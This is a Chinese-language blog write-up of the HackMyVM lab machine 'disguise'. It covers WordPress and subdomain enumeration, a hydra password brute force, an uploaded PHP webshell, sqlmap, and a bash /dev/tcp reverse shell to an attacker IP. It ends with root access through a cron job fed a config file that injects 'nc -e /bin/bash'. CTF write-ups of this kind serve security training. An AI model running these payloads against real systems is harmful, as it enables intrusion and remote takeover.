HackMyVM - disguise

25 年 5 月 22 日 星期四
1188 字
6 分钟

初步扫描

端口扫描和服务枚举

使用使用nmap扫描目标,以识别打开的端口和在服务器上运行的服务

bash
nmap -sC -sS -sV -T5 -A 10.0.2.17 -p-

发现目标主机已打开22端口(SSH)和80端口(HTTP)。WordPress站点(Nmap识别为WordPress 6.7.2)位于Apache Web服务器中的80端口。操作系统是Linux (Debian)。

网络枚举

Nikto扫描

使用nikto扫描网站漏洞和敏感文件

bash
nikto -h http://disguise.hmv

发现目标缺少X-Frame-Options安全标头,并指向WordPress API下的/robots.txt和/wp-json/目录

分析robots.txt

查看robots.txt .png 发现其为标准的WordPress条目。/wp-admin/是管理页面,访问admin-ajax.php通常是前端功能所必需的。

WordPress用户枚举

尝试通过 WordPress REST API,根据用户 ID 来查找用户名。

bash
curl -s http://disguise.hmv/wp-json/WP/V2/users/1 | jq
.png
bash
curl -s http://disguise.hmv/wp-json/WP/V2/users/2 | jq

API显示ID 1的用户名simpleAdmin。而ID 2则收到一个错误,表明没有具有此ID的用户(或者API没有披露更多)

WordPress扫描(wpscan)

使用wpscan对WordPress进行更详细的分析。

bash
wpscan url http://disguise.hmv/ enumerate u,vp,vt,tt api-token xxx

扫描发现WordPress 版本为 6.8.1,发现目标主题newscrunch(已过时)和另一个已安装主题newsblogger(已过时)存在两个已知漏洞:(CVE-2025-1304:文件上传,CVE-2025-1305:CSRF)。同时还确认了用户名 simpleadmin 和 simpleAdmin。结果显示使用 wpscan 和 rockyou.txt 进行的第一次暴力尝试因耗时过长而被取消。

子域发现和枚举 (dark.disguise.hmv)

子域模糊测试

由于主网站没有发现直接的漏洞,通过模糊主机标头来搜索带有 wfuzz 的子域

bash
wfuzz -c -w /root/Downloads/subdomains.txt -u "http://disguise.hmv" -H "Host:FUZZ.disguise.hmv" --hc "404" --hh 78369 

响应码为200的"dark"的结果表示有效的子域dark.disguise.hmv。 为了让系统解析到新的子域,将其输入到/etc/hosts文件中。

bash
vi /etc/hosts

目录扫描

用gobuster扫描新的子域以查找目录和文件。

bash
gobuster dir -u http://dark.disguise.hmv -w "/root/Downloads/directory-list-2.3-medium.txt" -x php,html,... -b '503,404' -e - no-error -k

Gobuster在dark.disguise.hmv上找到了一个单独的网络应用程序。发现是login.php、register.php、config.php(文件为空,但存在)、functions.php,特别是目录/manager/

页面分析

在查看http://dark.disguise.hmv/index.php的源代码时,发现image_handler.php使用ID加载图像 使用这种处理程序的方式容易受到本地文件包含(LFI)或其他漏洞的攻击。

初始访问

暴力破解密码

尝试在子域dark.disguise.hmv的登录页面上使用之前找到的用户名simpleAdmin登录

text
hydra -l simpleAdmin -P /root/Downloads/rockyou.txt dark.disguise.hmv http-post-form "/login.php:username=^USER^&password=^PASS^:用户名或密码不正确" -f -t 64 -I

找到密码Str0ngPassw0d1@@@

登录和Webshell上传

使用前面得到的账号密码simpleAdmin/Str0ngPassw0d1@@@访问:http://dark.disguise.hmv/login.php 访问管理后台,发现添加商品处存在上传功能 尝试上传一句话木马

text
<?php system($_GET['cmd']); ?>

由于不知道上传 shell 的路径,因此使用 SQL 注入方法来从数据库中读取它。在添加产品的函数上使用 sqlmap。

text
sqlmap -u "http://dark.disguise.hmv/manager/add_product.php" --method=POST --data="name=test&description=test*&price=1&image=dummy" --cookie="PHPSESSID=8s74ok22a6o4fcna8qucp0fdcm; dark_sescription --technique=T --dbms=mysql --sql-query="SELECT image FROM dark_shop.products" --batch --threads=5

读取得到所有添加的图像的路径: 测试Webshell:

text
http://dark.disguise.hmv/images/db694ae9b9074deec82cdcf6dd1365de.php?cmd=id

反弹shell

在攻击机上启动侦听

bash
nc -lvnp 4444

浏览器访问

text
http://dark.disguise.hmv/images/db694ae9b9074deec82cdcf6dd1365de.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/10.0.2.24/4444%200%3E%261%27

提权

反弹shell中操作

text
which python3 #查询是否有python3
python3 -c 'import pty;pty.spawn("/bin/bash")' #为了更好的操作shell
id
find / -type f -perm -4000 -ls 2>/dev/null # 搜索SUID二进制文件,如mount、su、sudo、passwd等
ls /home/
ls -laH /home/darksoul/

发现配置文件config.ini

bash
cat /home/darksoul/config.ini

得到数据库信息

text
[client]
user = dark_db_admin
password = Str0ngPassw0d1***
host = localhost
database = dark_shop
port = int(3306)

继续推进

text
sudo -l
ls -la /opt/
cat /opt/query.py

得知脚本通过sys.argv[1]读取配置文件并执行DB查询

使用 pspy 进行分析

在攻击机上使用python3启动一个web服务

bash
python3 -m http.server 55555

在目标的反弹shell中下载运行

bash
wget http://10.0.2.24:55555/pspy64
chmod +x pspy64
./pspy64

可以看到,每分钟一个进程以UID=0(根)的身份启动,该进程运行脚本/opt/query.py和配置文件/home/darksoul/config.ini

横向移动

为了能够操作config.ini(因为它属于root),使用工具suForce尝试破解用户darksoul的密码。 在攻击机上使用python3启动一个web服务

bash
python3 -m http.server 55555

在目标的反弹shell中下载程序和字典运行 成功爆破出密码:Str0ngPassw0d1???

Cronjob 漏洞利用(CVE-2025-21548 — 模拟)

切换到darksoul,删除原始config.ini,并创建一个具有有效载荷的新载荷,该有效载荷利用mysql.connector中的漏洞。 切换到darksoul用户

text
su darksoul

删除原始config.ini

text
cd /home/darksoul/
ls -l config.ini
rm config.ini

写入新的载荷

text
nano /home/darksoul/config.ini
text
[client]
user = dark_db_admin
password = Str0ngPassw0d1***
host = localhost
database = dark_shop
port = int(3306)
allow_local_infile=__import__('os').system('nc -e /bin/bash 10.0.2.24 6666')

在攻击机启动一个新的侦听端口,等到下次cron作业运行(大约1分钟)

读取flag

bash
cd /root
ls
cat root.txt
cat /home/darksoul/user.txt

文章标题:HackMyVM - disguise

文章作者:Crazy0x70

文章链接:https://www.crazy0x70.com/posts/21[复制]

最后修改时间:


商业转载请联系站长获得授权,非商业转载请注明本文出处及文章链接,您可以自由地在任何媒体以任何形式复制和分发作品,也可以修改和创作,但是分发衍生作品时必须采用相同的许可协议。
本文采用CC BY-NC-SA 4.0进行许可。